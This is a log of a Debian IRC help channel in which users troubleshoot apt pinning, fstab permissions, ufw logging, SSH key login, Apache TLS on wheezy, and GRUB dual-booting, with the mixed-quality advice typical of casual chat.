| 07:40.25 | themill | babilen: what's the output of "apt-cache policy"? |
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| 07:40.37 | karlpinc | babilen: Yeah. I suppose you could pin the version. But that sounds Stupid (TM). Dunno about pinning, and apt pretty much just works for me and I don't mess with it. |
| 07:40.39 | babilen | should have predicted that :) |
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| 07:40.49 | babilen | One second, let me fire up the VM |
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| 07:41.33 | themill | babilen: also, is it squeeze's or wheezy's apt that is being used here? |
| 07:42.26 | themill | (globs for package names was introduced with wheezy's apt) |
| 07:42.29 | aicra | shouts viva la pwm |
| 07:43.03 | Resilience | karlpinc, what window manager do you use? |
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| 07:46.11 | aicra | wow |
| 07:46.16 | aicra | LOL |
| 07:46.19 | aicra | wow |
| 07:46.24 | babilen | themill: http://paste.debian.net/127101/ -- Yes, this is on a wheezy box and I am, much to my dismay, forced to pull in an old PHP version. |
| 07:46.40 | themill | babilen: yeah, I figured that was part of the fun |
| 07:46.45 | karlpinc | Resilience: Right now, xfwm4. But I don't like it. e16 was barely ok on squeeze, but I had to spend a lot of time frobbing it. |
| 07:46.51 | themill | aicra: can we help you with a Debian question? |
| 07:46.59 | aicra | I was here in 1999 |
| 07:47.07 | aicra | we didn't have a limit like that |
| 07:47.40 | Resilience | karlpinc, that is... xfce wm but without the desktop environement? or are you using xfce? |
| 07:47.43 | aicra | My question is why aren't there more! |
| 07:47.52 | babilen | themill: Why is it alway PHP? I'm just not entirely sure how to get the "prefer squeeze-lts over squeeze" in there. (also not entirely sure why the identifier changed) and documentation you find on this simply recommends to set the default release to squeeze-lts, which is obviously not appropriate here. |
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| 07:49.06 | themill | babilen: what happens if you make squeeze 600 and squeeze-lts 700? That would at least tell us what apt is thinking... |
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| 07:49.53 | karlpinc | Resilience: xfce puts some stuff on the desktop. I don't use it. |
| 07:50.05 | babilen | themill: I just changed the order (to list squeeze-lts first) and that results in the correct one being selected. I think I played with different priorities yesterday already, but let me check that. |
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| 07:50.30 | themill | babilen: the pin is obviously matching ok -- apt-cache policy shows that bit. |
| 07:50.45 | Resilience | karlpinc, I don't refer to the grpahical desktop metaphor, I refer to the desktop environement |
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| 07:51.13 | themill | babilen: btw you can put globs in the n=squeeze* which might help |
| 07:52.10 | themill | babilen: the list of pins is allegedly processed top to bottom in the file, but do you have some other pins elsewhere that could be adding to the fun |
| 07:52.50 | babilen | http://paste.debian.net/127104/ |
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| 07:53.01 | babilen | No, I have no other pins anywhere. |
| 07:53.11 | babilen | Ah, globs in n=squeeze .. Good idea! |
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| 07:54.06 | babilen | It's just that I *assumed* that my initial pinning scheme would give packages in both squeeze and squeeze-lts the same priority and that it would therefore boil down to a version comparison |
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| 07:54.40 | themill | yeah, that's what I would have expected too. |
| 07:55.00 | babilen | Ah, "n=squeeze*" works perfectly. Wonder why :-/ |
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| 07:55.35 | themill | There's probably something funny about things matching more than one glob and only the last (or first or something) wins. |
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| 07:56.01 | themill | apt_preferences(5) covers the "wildcard followed by a specific package pin" case but doesn't talk about successive globs. |
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| 07:58.07 | karlpinc | Resilience: I have 3 icons in a taskbar I click on. Plus some workspaces (that don't work like I like them.) |
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| 07:59.22 | Resilience | karlpinc, sorry for my questions... I am really frustrated about the d.e. this days.. becuase nothing works, because of systemd and becuase is not unixy enoug, because I cannot search for nothing nor configure anything... is like windows... |
| 07:59.44 | babilen | themill: Either way, thank you for the "n=squeeze*" idea and this rather seems like some, unforeseen, implementation detail (bug?!) than anything intentional. I told my colleagues and I guess we now have a bunch of boxes to check. |
| 08:00.15 | themill | yeah |
| 08:00.49 | themill | Resilience: if you put more energy into learning about systemd you might find that (a) it just works and (b) you'd know how to configure it. |
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| 08:02.44 | Resilience | themattbeballin_, I don't want systemd, that's why I put more energies into disabling it ;D |
| 08:03.07 | Resilience | themill, _, I don't want systemd, that's why I put more energies into disabling it ;D |
| 08:03.16 | Resilience | themill, but thanks for your advice |
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| 08:03.23 | sophiejjj | hi |
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| 08:03.40 | sophiejjj | I cam confused about one thing. On the debian page, it lists irc.debian.org(OFTC) |
| 08:03.52 | sophiejjj | what does OFTC do with irc.debian.org server? |
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| 08:04.00 | themill | !oftc |
| 08:04.01 | dpkg | OFTC is the Open and Free Technology Community, a support/collaboration service. They have an IRC network: irc.oftc.net. You may be connected to OFTC's network. http://www.oftc.net/ See also <freenode>, <oftc move> and <fact sharing>. |
| 08:04.14 | sophiejjj | ok. I saw it cnamed to oftc. |
| 08:04.17 | themill | sophiejjj: irc.debian.org points to oftc |
| 08:04.40 | sophiejjj | themill: just for easy remembering, so they do irc.debian.org? |
| 08:05.14 | themill | irc.debian.org used to point to this network once upon a time. |
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| 08:07.57 | cloudowind | oftc open free t community |
| 08:08.05 | cloudowind | there kernel developers there |
| 08:08.19 | cloudowind | and some project channels |
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| 08:15.34 | sophiejjj | OK. |
| 08:16.00 | sophiejjj | I joined that #debian, 600+ ppl there. even not half of this channel. |
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| 08:21.53 | karlpinc | sophiejjj: Yeah, but a lot of the people who know what they're doing are on both. |
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| 08:40.26 | sickblobs | anyone uses a debian wit mbp ? |
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| 08:42.06 | wibrt | which stable, recent (debian-based)distro would u run on the desktop if u don't want closed blobs in the kernel (on the basic starting installation) |
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| 08:43.10 | Resilience | wibrt, if the blob is formware to be loaded in the card no problem man |
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| 08:45.38 | wibrt | <PROTECTED> |
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| 08:46.01 | Resilience | what do you mean by blob? a non-free kernel module? |
| 08:46.08 | wibrt | yes |
| 08:46.15 | wibrt | well, closed source |
| 08:46.36 | Resilience | open source can be closed-code man, I think you mean free code, not open code ;D |
| 08:47.04 | Resilience | open: you can look but don't otuch |
| 08:47.12 | Resilience | free: you can look AND touch |
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| 08:47.17 | Resilience | that's a big difference |
| 08:47.42 | wibrt | hence, closed: i cannot look (and dont know what it does) |
| 08:48.19 | wibrt | but code would fit better (source sounds like ..) |
| 08:48.41 | Resilience | code I think refers to compiled source |
| 08:48.42 | Resilience | so... |
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| 08:49.04 | wibrt | but u understand my question? |
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| 08:50.56 | Resilience | wibrt, yes, I do it, if you dp¡t have debian on-free repositories you're save about non-free code |
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| 08:51.39 | Resilience | wibrt, but you still will have have a lot of blobs, becuase firmware for card tends to be in blobs, but nothing in the driver, the driver is still free, but it has blob, the firmware IN the card |
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| 08:55.41 | wibrt | indeed, i don't mean the repo choices (main,nonfree,..) but the kernel, so the only option is a fsf distro to avoid(/ or remove) blobs? |
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| 08:57.08 | themill | wibrt: there are no non-free blobs in the debian kernel |
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| 08:58.26 | Resilience | themill, mmm there is no firmware for cards i modules? really? |
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| 08:59.26 | roflguy | Hey all, hope everyone is well, im creating a script to read a text file containing a list of "songname1.mp3, songname2.mp3 etc." then using find on each line to search the source directory and symlink them to the dest. directory. I've got that working fine, just need some assistance/guidance on how I can output the filenames that were not found by find, if that makes sense. Thanks in advance. |
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| 09:00.44 | wibrt | yes, thats whats i read, thats why asked about a stable recent debian based distro (debian stable i find too old for the destop) |
| 09:00.50 | seal20 | is some one can't help me with the installation of systemd 215-5+b1 on a jessie |
| 09:01.08 | berceanu_ | i put a line for my external HDD in fstab, but now i can only write to it as root |
| 09:01.29 | berceanu_ | what do i need to change to allow my normal user rw access to the usb drive? |
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| 09:01.33 | Resilience | bercenause the user option, see mounint as non-root |
| 09:02.56 | berceanu_ | Resilience: so u mean just adding user to the fstab mount options should fix this? |
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| 09:03.55 | Resilience | bercenau, yes, see |
| 09:04.37 | Resilience | UUID=AC0D-3414 /mnt/sdc1 auto rw,user,noauto 0 0 |
| 09:04.42 | Resilience | it works for me |
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| 09:07.28 | berceanu_ | why do u have auto and noauto? |
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| 09:11.31 | wibrt | bern: atboot auto vs explicit (using mount) |
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| 09:13.37 | afsal | is debian packages can test in jhbuild? |
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| 09:14.28 | berceanu_ | Resilience: ok so i changed my fstab line to this |
| 09:14.30 | berceanu_ | UUID=540a7133-802b-4950-88ba-10fbe8b6af3a /media/my_external ext4 user,noatime,relatime 0 0 |
| 09:14.32 | berceanu_ | and rebooted. |
| 09:15.05 | berceanu_ | Resilience: still no write access, and i cant even do umount /media/my_external with my normal user |
| 09:15.12 | berceanu_ | it complains about permissions |
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| 09:16.22 | wibrt | \q |
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| 09:16.52 | Resilience | bercenamounting it as a normal user means you only have to say mount /dev/xxxx not the path, thepath is provided by fstab |
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| 09:17.02 | Resilience | berceanu_, mounting it as a normal user means you only have to say mount /dev/xxxx not the path, thepath is provided by fstab |
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| 09:19.53 | berceanu_ | Resilience: yes ok but it seems that what happened is that at boot-time it was mounted by root |
| 09:20.04 | berceanu_ | hence i cannot umount it with my user |
| 09:20.43 | Resilience | berceanu_, auto is for auto mounting at boot time, no auto doe snot mount at boot time, but as required by mount (sorry, I ddi not read yu before) |
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| 09:22.44 | berceanu_ | Resilience: my question about auto and noauto was, why did you put both on the same line? |
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| 09:23.16 | berceanu_ | Resilience: but anyway, i have none of them (which i guess counts as auto cos that is the default) |
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| 09:24.15 | Resilience | bercenauI don't kknw what the defaults are, but I think yes, youo shoudlbe putting noauto |
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| 09:25.31 | berceanu_ | Resilience: i am now able to mount it with my normal user but still cannot write to it |
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| 09:26.16 | Resilience | berceanu_, look at the rw option, means read/wirte, defaults are ro (read only) |
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| 09:33.47 | themill | Resilience: that is correct, the kernel package contains no non-free blobs |
| 09:34.12 | berceanu_ | Resilience: ty |
| 09:34.56 | Resilience | themill, mmmmm I thought that yes, that kernel modules have the blobs for firmware... for the firmware, not as a binary module for the driver man... |
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| 09:38.52 | themill | Resilience: there are no non-free firmware blobs in the debian kernel packages. |
| 09:40.31 | Resilience | themill, https://wiki.debian.org/Firmware |
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| 09:41.19 | Resilience | blobo used to be a binary driver in the kernel... not a firmware image to be loaded... and they got out the kernel for distribution trouble, not license trouble... |
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| 09:43.16 | themill | Resilience: there is nothing on that page that contradicts what I have said |
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| 09:45.50 | Resilience | th kernel neeeds that packages to be able to run the devices, so it is a distribution trick, not a real separation man |
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| 09:47.49 | themill | Resilience: if you have that hardware, you need the firmware and that is independent of the operating system you are running. There's no "distribution trick" and there is no way of separating it any differently. |
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| 09:49.24 | Resilience | that firmware tned sto be in blobs, but that blobs are not part of the criver funcionality of th emodule... taking them apart of the kernel eas a problem of distributability, not about licenses of the source code |
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| 09:50.08 | themill | I have no idea what you're trying to say. I'm simply stating the facts of what is in the debian kernel packages because that is what the original question was. |
| 09:51.43 | Resilience | yup shuld be ware that there were always two types of blobs |
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| 09:52.44 | themill | kyuga: I've never seen it recommended at all |
| 09:52.49 | Resilience | they take from you the liberty of programming the card, to use the hardware you buy ias you¡re pleased |
| 09:53.11 | Resilience | but binary blobs which are only firmware to be loaded ionto the card are not oconsidered to harm that freedpom on software |
| 09:53.26 | kyuga | themill: Does that mean to say you have seen the opposite? :) |
| 09:53.27 | Resilience | and th reason that they were taken out of the kernel was not about a problem of its freenes |
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| 09:53.37 | Resilience | but for copyright and distrubtion reaons man |
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| 09:53.56 | themill | Resilience: you're mixing up kernel modules and firmware. And yes, the non-free firmware was removed from the kernel because it was non-free. |
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| 09:54.37 | Resilience | themill, no, not mixing it, I think you're too new to even remember that difference and that debate man |
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| 09:54.43 | Resilience | os ot said debate? mmm |
| 09:55.43 | themill | Resilience: please stop now... you're either confusing yourself or you have no idea what you're talking about. |
| 09:55.52 | themill | (and you're also not helping anyone) |
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| 10:00.52 | mz` | hello guys, someone know when openssl/wheezy will be build using the new security patches please ? :) |
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| 10:03.16 | jelly | mz`: you can look up a particular CVE number on |
| 10:03.21 | jelly | !tracker of doom |
| 10:03.21 | dpkg | The Tracker of Doom is a vulnerability database maintained by the Debian security team, viewable at http://security-tracker.debian.org/ . Ask me about <cve lookup CVE-yyyy-nnnn> to get Debian-specific information on a CVE number. See also http://www.debian.org/security/crossreferences or ask me about <debsecan> http://www.enyo.de/fw/software/debsecan/ |
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| 10:03.58 | bumbar1 | i'm using tail with egrep on syslog to print in terminal, and it works fine, but there some syslog text i'd like to skip. i've tried sed and awk but am just clueless how not to print first n words |
| 10:04.12 | Resilience | themill, mybe you don't have any idea |
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| 10:04.28 | mz` | [6~[6~jethanks, will lokok |
| 10:04.56 | jelly | bumbar1: can you put a couple example lines of input, your current command, and what the example output should look like, into a pastebin? |
| 10:04.58 | mz` | jelly: thanks, will look, sorry for the previous transmission |
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| 10:08.13 | bumbar1 | jelly, http://pastebin.com/LHmDjhnZ |
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| 10:08.40 | bumbar1 | first 6 words of input are always the same |
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| 10:09.48 | Kingsy | how can I fix this --> /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.14' not found <-- |
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| 10:10.45 | jelly | Kingsy: rebuild the binary from source on Debian 7 |
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| 10:13.10 | Kingsy | there isnt a way of installing it from the package manager ? |
| 10:13.20 | jelly | bumbar1: so you just want to cut the date and hostname out? you could cut everything until the first colon and space, eg sed -r 's/.*?: //' |
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| 10:13.30 | cloudowind | my /proc/bus/usb/ folder is empty |
| 10:13.34 | jelly | Kingsy: installing what? |
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| 10:13.36 | cloudowind | even if i plug a usb device |
| 10:13.48 | jelly | !tell Kingsy about ask |
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| 10:14.40 | jelly | cloudowind: I don't even have a /proc/bus/usb. What about /dev/bus/usb/ ? |
| 10:14.43 | Kingsy | jelly: just installing the libc.so.6 in the system |
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| 10:14.59 | jelly | Kingsy: it's already there. What's the real goal? |
| 10:15.07 | cloudowind | usbdevices command works fine |
| 10:15.36 | cloudowind | that will do jelly thank you:) |
| 10:16.00 | Kingsy | jelly: the real goal is to prevent the error when this application runs |
| 10:16.06 | jelly | Kingsy: which application? |
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| 10:16.11 | Kingsy | its spotify |
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| 10:17.15 | jelly | Kingsy: ask spotify to provide a build for Debian 7. Do not mess with libc6 versions, it's an essential OS component and you could make a huge mess |
| 10:17.27 | Kingsy | ah ok |
| 10:17.27 | bumbar1 | jelly, i've tried piping it after egrep but doesn't seem to work |
| 10:17.44 | jelly | bumbar1: add --line-buffered to egrep |
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| 10:18.16 | jelly | bumbar1: grep buffers output if it detects its stdout is not a terminal |
| 10:18.18 | bumbar1 | jelly, yay! thank you so much |
| 10:18.43 | jelly | bumbar1: or you could first sed then grep |
| 10:19.00 | jelly | with some loss of efficiency |
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| 10:19.40 | bumbar1 | it works, for now at least, so i'll just leave it |
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| 10:22.34 | jelly | Kingsy: debian testing (jessie) has a newer libc6, if you absolutely can't live without the client you can upgrade the whole OS to jessie, which may or may not be broken |
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| 10:24.09 | cloudowind | jelly: /sys/bus/usb/devices/ |
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| 10:26.26 | cloudowind | i know stupid but how do i go one up folder when i am in a directory?say i am in /usr/src/blabla i wanna go up folder to /usr/src how am i gonna do that?in windows it was cd.. but it doesnt works here:d |
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| 10:27.56 | otyugh | I don't succeed to use spring 98.0 on trusty. Any tip I could use ? |
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| 10:29.13 | jelly | cloudowind: cd .. <- space is important |
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| 10:29.41 | cloudowind | doing it |
| 10:29.45 | cloudowind | but still in same directory |
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| 10:30.03 | cloudowind | but not giving error now , so its a valid option . . but doesnt works |
| 10:30.21 | jelly | cloudowind: you're not doing it right! |
| 10:30.27 | cloudowind | cd . . |
| 10:30.34 | jelly | cloudowind: that's not what I wrote |
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| 10:31.16 | jelly | cloudowind: I trust you can figure this one out on your own |
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| 10:31.28 | no_gravity | Hello! Im getting dropped connections on one of my webservers. About 1 in 10 connects drops. I can reproduce it with telnet. Any ideas? http://pastebin.com/raw.php?i=3gFACmwe |
| 10:31.37 | cloudowind | i couldnt , you wrote cd . . <- |
| 10:31.53 | jelly | cloudowind: nope, try copy/pasting the command from my line. |
| 10:32.13 | jelly | or use a non-proportional font |
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| 10:32.29 | cloudowind | wow |
| 10:32.36 | cloudowind | space before cd? |
| 10:32.40 | jelly | yes. |
| 10:32.40 | afidegnum | hello good morning, I have done something crazy, and I am hot. I need your help |
| 10:32.44 | cloudowind | strangee |
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| 10:32.57 | jelly | cloudowind: cd is a command. .. is its only parameter. |
| 10:33.25 | cloudowind | but i dont use space before cd when i use it with path :D anyway thanks a lot jelly |
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| 10:33.50 | themill | cloudowind: the space before "cd" is not important. |
| 10:34.22 | cloudowind | it didnt work without it |
| 10:34.24 | afidegnum | I did install debian wheezy which was having a dual boot... windows 7 and ubuntu... ubuntu holding the boot index where windows 7 was included. now, after installation even though windows 7 and ubuntu wasn't deleted because I had different partition for that, I can't locate the windows system boot file |
| 10:34.28 | cloudowind | it worked with it |
| 10:34.35 | afidegnum | I think I accidentally deleted, how can I restore it? |
| 10:34.37 | themill | cloudowind: that wasn't the problem. The problem was all the other random spaces you were putting in |
| 10:34.48 | cloudowind | ah yea i see it now |
| 10:34.57 | cloudowind | space after cd but no space between dots |
| 10:35.05 | cloudowind | sorry for mass thanks a lot love yous |
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| 10:36.52 | afidegnum | any help please? |
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| 10:39.30 | B1ueScr33n | afidegnum you could try downloading EasyBCD which will hopefully restore your Windows 7 Boot loader and give you the option to add Grub |
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| 10:40.53 | afidegnum | B1ueScr33n: ah, thanks, let me check on that |
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| 10:43.27 | Slydder | hey all. I am looking for a daemon util that will alert me to changes made to certain files only. has to be able to monitor recursively and only certain extension (ie. .php, .pl etc). I am currently looking at auditd, fileschanged, iwatch and incron. anyone have any others? |
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| 10:44.26 | cloudowind | B1ueScr33n: but for a system admin it should be detecting the partition names and numbers of the windows and ubuntu and add it to grub right?or also without adding he can use it real time argument to grub when it comes to boot and tell grub to boot related os from related path hm?:d |
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| 10:46.00 | TomyWork | how do i exclude packages from "apt-get [dist-]upgrade"? |
| 10:46.03 | TomyWork | "hold" didnt work |
| 10:47.32 | ksk | forever? or just onetime? you can do an "aptitude install $packages-to-update" |
| 10:47.41 | ksk | or apt-get ofc. |
| 10:49.24 | B1ueScr33n | cloudowind: are you trying to dual boot using grub yea? in my previous experience doing it that way is alot more difficult? |
| 10:50.21 | B1ueScr33n | cloudwind: I've managed to dual boot linux and windows 7 in the past using grub, but it's a lot more difficult. so much easier to just use EasyBCD and add the linux OS to the boot up menu |
| 10:50.30 | TomyWork | ksk it just updates them anyway... |
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| 10:50.50 | TomyWork | there is the "--ignore-hold" option to apt-get, though, which implies that holds arent ignored by default |
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| 10:51.23 | cloudowind | ive done it before and all i did was adding the partition name and number path to grub config file and run the config script , as like lilo , |
| 10:51.37 | cloudowind | maybe things has changed now :) i dont know |
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| 10:52.21 | nohklm | hi, anyone using ufw? it doesn't log anything on my box. |
| 10:52.32 | nohklm | nothing in /var/log/ufw.log, nothing in dmesg |
| 10:52.57 | nohklm | the deny/drop rules work, but no logging. |
| 10:53.19 | nohklm | somebody help? thanks |
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| 10:53.56 | Brigo | nohklm, i have never used it, but i think you can try to configure ufw to log or debug mode or something. |
| 10:54.27 | nohklm | Brigo: ufw is on log level low, which should log blocked packets matching rules |
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| 10:54.57 | nohklm | i've tried to set it to medium, and it displays debug info, but not blocked packets |
| 10:55.16 | Brigo | and is there bloqued packets? |
| 10:55.24 | Brigo | blocked* |
| 10:56.15 | nohklm | Brigo: yes there are obviously, setting it to deny 443/tcp effectively blocks https access |
| 10:56.36 | nohklm | to the box |
| 10:56.36 | B1ueScr33n | cloudowind: yea possibily :) grub has had a few updates since then i expect. You need to chainload the bootloader now i think, it's been a while since i done it too |
| 10:56.56 | Brigo | nohklm, is there a log rules settings in iptables ? |
| 10:57.02 | TomyWork | ok, 'aptitude hold "$package"' fails silently, 'echo "$package hold" | dpkg --set-selections' worked |
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| 10:57.09 | cloudowind | ok:/ |
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| 10:58.03 | nohklm | Brigo: yes, ufw has it's own chains in iptables, sudo iptables -L | grep log returns a line with "Chain ufw-logging-deny (2 references)" |
| 10:58.33 | sonOfRa | Are the EC-cipher-suites implemented in apache 2.2.26 backported to the 2.2.22 version in wheezy? |
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| 10:58.44 | nohklm | and.. |
| 10:58.48 | Brigo | try iptables -S |
| 10:59.08 | nohklm | sudo grep log /lib/ufw/* returns "/lib/ufw/user.rules:-A ufw-logging-deny -j LOG --log-prefix "[UFW BLOCK] " -m limit --limit 3/min --limit-burst 10" |
| 10:59.11 | nohklm | Brigo: ok |
| 10:59.14 | angerman | how do I figure out the current install/realease of a debian system? I need to build an almost similar one for compiling binaries. |
| 10:59.51 | cloudowind | B1ueScr33n: cat /boot/grub/grub.cfg | less |
| 11:00.03 | nohklm | Brigo: sudo iptables -S | grep log: "-A ufw-logging-deny -m limit --limit 3/min --limit-burst 10 -j LOG --log-prefix "[UFW BLOCK] "" |
| 11:00.19 | nohklm | i think this rule should log denied packets |
| 11:00.38 | Brigo | only bursst |
| 11:00.42 | Brigo | only burst |
| 11:00.55 | nohklm | uh |
| 11:00.59 | jelly | angerman: /msg dpkg debian suite |
| 11:01.21 | jelly | angerman: also, /msg dpkg aptitude clone |
| 11:01.27 | Brigo | --limit 3/min and --limit-burst 10 are self explanatory |
| 11:01.41 | nohklm | Brigo: sorry, there's another line: |
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| 11:01.43 | nohklm | "-A ufw-after-logging-input -m limit --limit 3/min --limit-burst 10 -j LOG --log-prefix "[UFW BLOCK] "" |
| 11:01.49 | nohklm | nope |
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| 11:02.17 | angerman | jelly: thanks! |
| 11:02.18 | B1ueScr33n | cloudowind: ## DO NOT EDIT THIS FILE## It is automatically generated by grub-mkconfig using templates from /etc/grub.d and settings from /etc/default/grub |
| 11:02.23 | B1ueScr33n | lol |
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| 11:02.37 | cloudowind | grub-mkconfig |
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| 11:02.54 | snadge | wow. i was just about to ask the same question as sonOfRa |
| 11:03.10 | snadge | im looking at apache on wheezy.. and wondering how the hell i make it support something secure for https |
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| 11:03.41 | Brigo | snadge, https? :) |
| 11:03.55 | cloudowind | httpd you mean? |
| 11:03.58 | sonOfRa | https://gist.github.com/sonOfRa/272fd97dcd906c9f27d0 this is what I use on apache >2.2.26 on my gentoo boxes |
| 11:04.00 | snadge | it defaults to 128bit encryption.. which fails pci compliance |
| 11:04.23 | B1ueScr33n | cloudowind: check out - http://patscomputerservices.com/chainloading-grub2-in-a-dual-boot-linux-setup/ |
| 11:04.26 | snadge | so im reading some documentation about it on the web, and they all talk about much newer versions of apache |
| 11:04.36 | sonOfRa | PCI-compliance is really not the best indicator |
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| 11:04.48 | nohklm | grep grep grep trying to understand |
| 11:04.52 | snadge | well it gets a C instead of an A rating |
| 11:04.55 | sonOfRa | I have some machines I'm currently upgrading at work that are PCI-compliant, but don't offer PFS for most clients |
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| 11:06.08 | snadge | ssllabs gives default debian configuration a C |
| 11:06.18 | nohklm | Brigo: nope this isn't it. I have another box with working logging, and iptables -S returns the same thing on the 2 boxes |
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| 11:06.32 | snadge | theres a relatively simple article which explains how to get an A rating.. but it doesnt seem to work with the version of apache that wheezy usees |
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| 11:07.46 | Brigo | nohklm, like i said, i have never used ufw. :/ |
| 11:08.02 | snadge | the thought of rolling my own apache makes me uncomfortable.. so i guess im stuck with put up with C rating :p |
| 11:08.26 | nohklm | Brigo: np :) thanks for the pointers, i'll sort it out |
| 11:08.34 | nohklm | eventually |
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| 11:09.35 | Brigo | nohklm, np :) |
| 11:09.46 | nohklm | identical files on 2 boxes: /etc/rsyslog.d/20-ufw.conf, /etc/default/ufw, output of iptables -S |
| 11:09.51 | nohklm | scratch head |
| 11:10.01 | nohklm | coffee |
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| 11:11.23 | snadge | https://www.d7031.de/content/apache-24-backports-debian-wheezy-and-squeeze .. can anyone say anything about this guys apache backports? |
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| 11:20.30 | nohklm | got it. you have to explicitely specify "log" for each deny rule: sudo ufw deny log 443/tcp |
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| 11:21.58 | nohklm | else it will only log packets blocked because default policy DROP (not for deny rules) |
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| 11:30.13 | Brigo | nohklm, it has no sense for me. |
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| 11:30.59 | nohklm | just telling. for science. |
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| 11:33.26 | nohklm | ufw has some nice syntax/easy config and it's just a wrapper to iptables. still have to try firewalld when i get some time |
| 11:33.27 | nohklm | https://fedoraproject.org/wiki/FirewallD |
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| 11:44.33 | easy163 | Hi everyone, wanted to make access to raspberri to ssh without password (with the key). Generated key using "ssh-keygen" (private id_rsa and id_rsa.pub public appeared in .ssh directory on the user's host machine). Then copied the key to the server (which connect to ssh) using "ssh-copy-id root@192.168 .....". |
| 11:44.47 | easy163 | I see that in a directory on raspberri appeared authorized_keys file and it is the same as in id_rsa.pub. When connecting ssh root@192.168 .... still asks for a password :( What could be wrong? In config RSAAuthentication and PubkeyAuthentication exhibited in yes. String AuthorizedKeysFile% h / .ssh / authorized_keys |
| 11:45.15 | easy163 | Sorry for the google translator |
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| 11:46.15 | frostschutz | easy163, check permissions of .ssh and authorized_keys, sshd doesn't like them if they're wrong. chown user:user .ssh .ssh/authorized_keys, chmod 700 .ssh/, chmod 600 .ssh/authorized_keys, something like that |
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| 11:54.22 | easy163 | frostschutz: check permissions, all exposed correctly. Just tried all the same on VPS, there it worked immediately. Copied out the configuration file. raspberry pi still asks for a password :( |
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| 12:42.53 | TomyWork | i just upgraded from squeeze to wheezy and ran apt-get autoremove after that. now aptitude wants to install these exact same packages i just autoremoved. what is going on? |
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| 12:43.05 | TomyWork | are they keeping separate lists of package to install? |
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| 12:44.43 | DanMAbraham | Hey, I heard about something really bad called bitcoin |
| 12:44.48 | DanMAbraham | Does anyone know about this and how it works? |
| 12:45.21 | DanMAbraham | I think theres a debian package for it |
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| 12:46.01 | TomyWork | DanMAbraham it's a bane on the world |
| 12:46.05 | bolt | DanMAbraham: google is your friend |
| 12:46.10 | TomyWork | a waste of energy, basically |
| 12:46.21 | themill | TomyWork: aptitude has an idea of "scheduled actions" -- packages you have requested should be installed but have not yet done so yet. "aptitude keep-all" |
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| 12:47.05 | TomyWork | themill so apt-get does things without telling aptitude about it? |
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| 12:47.09 | DanMAbraham | i know |
| 12:47.12 | DanMAbraham | i hate it TomyWork and bolt |
| 12:47.20 | themill | DanMAbraham: wrong channel |
| 12:47.26 | DanMAbraham | oh sorry |
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| 12:48.18 | themill | TomyWork: not really, it's just that the queue of actions is still there and needs emptying if you change your mind |
| 12:48.46 | TomyWork | themill those packages were installed, apt-get dist-upgrade made them superfluous, apt-get autoremove got rid of them |
| 12:48.59 | themill | yes |
| 12:49.05 | TomyWork | themill i think it's more of a state map, not a queue of actions |
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| 12:49.21 | TomyWork | they are no longer in the state aptitude wants them in, so they're removed |
| 12:49.34 | themill | TomyWork: they are requested actions. |
| 12:49.42 | TomyWork | err scheduled for installation |
| 12:49.50 | TomyWork | themill but i never requested to install them |
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| 12:50.27 | themill | well aptitude disagrees. It's easy to accidentally do this in the interactive interface |
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| 12:52.18 | TomyWork | before the upgrade to wheezy, i did take a look at aptitude |
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| 12:58.37 | TomyWork | and apt-get autoremove wont remove libavahi-core7 even though it's no longer used |
| 12:58.47 | TomyWork | aptitude shows it as unused... |
| 12:58.52 | nkuttler | TomyWork: aptitude why libavahi-core7 |
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| 12:59.35 | somiaj | TomyWork: check the auto flags, if for some reason you installed that lib manually the auto flag is not on and it is manual and autoremove wno't automatically get rid of it. Also check deborphan |
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| 13:00.26 | TomyWork | avahi-daemon, which i purged, depends on it |
| 13:00.40 | ashka | hey, I'm having an issue with aptitude, I have conflicts, I have approved/denied actions in the interactive resolver manually, but how do I validate those ? when I press g it ultimately does what it initially planned to do |
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| 13:00.55 | somiaj | TomyWork: aptitude search ~i libavahi-core7 (do you see the Auto flag on that package)? |
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| 13:01.08 | TomyWork | uh i already removed it |
| 13:01.14 | TomyWork | lemme go back to the snapshot |
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| 13:02.19 | TomyWork | id libavahi-core7 - Avahi's embeddable mDNS/DNS-SD library |
| 13:02.31 | TomyWork | after adding the quotes :) |
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| 13:03.11 | somiaj | TomyWork: see there is no 'A' flag assoicated with it, for example "i A zlib1g-dev " -- that is an Auto installed package. You turn off the A flag and it won't be automatically removed with autoremove |
| 13:03.35 | somiaj | but things like deborphan can help locate things like that and say hey this isn't being used by anything so you can remove it |
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| 13:04.07 | themill | "d" says that it is scheduled for removal. |
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| 13:05.51 | TomyWork | somiaj sounds dangerous if you have manually installed software |
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| 13:06.44 | somiaj | why, apt-get install foo, foo is now manually insatlled |
| 13:07.02 | somiaj | auto install just means it was installed due to a dependency |
| 13:07.10 | TomyWork | i mean the deborphans thing |
| 13:07.16 | somiaj | but as themill pointed out it could be just it was scheduled to be removed but not removed |
| 13:07.38 | somiaj | deborphan just gives you a list, you get to decide what you actually remove from the list |
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| 13:08.16 | TomyWork | yeah, would be nice if it wasnt necessary to have such a tool |
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| 13:08.46 | TomyWork | i.e. if 1. the installation didnt leave a ton of "manually" installed packages around |
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| 13:09.48 | TomyWork | and 2. apt-get and aptitude would coordinate properly |
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| 13:11.31 | TomyWork | is there any indication which tool is at fault? |
| 13:12.08 | TomyWork | i.e. which tool does it the right way? |
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| 13:12.41 | petn-randall | TomyWork: 'man apt-get', check the 'autoremove' parameter. |
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| 13:13.09 | petn-randall | TomyWork: aptitude wil automatically offer to remove auto-installed packages if nothing depends on it. |
| 13:13.53 | themill | TomyWork: I doubt there is a tool at fault here. |
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| 13:17.41 | TomyWork | petn-randall i autoremoved and aptitude wanted to reinstall the autoremoved packages |
| 13:18.01 | themill | I think we've already covered that. |
| 13:18.59 | TomyWork | yeah, but that was before he joined |
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| 13:20.05 | petn-randall | TomyWork: That's because you had it selected for installation in aptitude, it remembers that through sessions. |
| 13:20.53 | berarma | an easy way to boot an iso image from inside Debian? |
| 13:21.06 | TomyWork | virtualbox :) |
| 13:21.18 | berarma | no virtualization |
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| 13:21.31 | berarma | I want the boot image to take control of the machine |
| 13:21.32 | TomyWork | do you just want to mount it? |
| 13:21.41 | petn-randall | berarma: You tell grub to chain boot the iso, forgot the details though. |
| 13:21.42 | TomyWork | ah |
| 13:21.55 | petn-randall | +can |
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| 13:39.13 | olivier_bK | this morning i do bzip2 on log file but i completly lost to reload rsyslog |
| 13:40.02 | olivier_bK | and now when i reload or restart rsyslog he don't write anything on the new file |
| 13:40.04 | olivier_bK | ? |
| 13:40.48 | epsilon | wrong permission on file/dir? |
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| 13:41.08 | olivier_bK | no |
| 13:41.18 | olivier_bK | after restart he recreate the file |
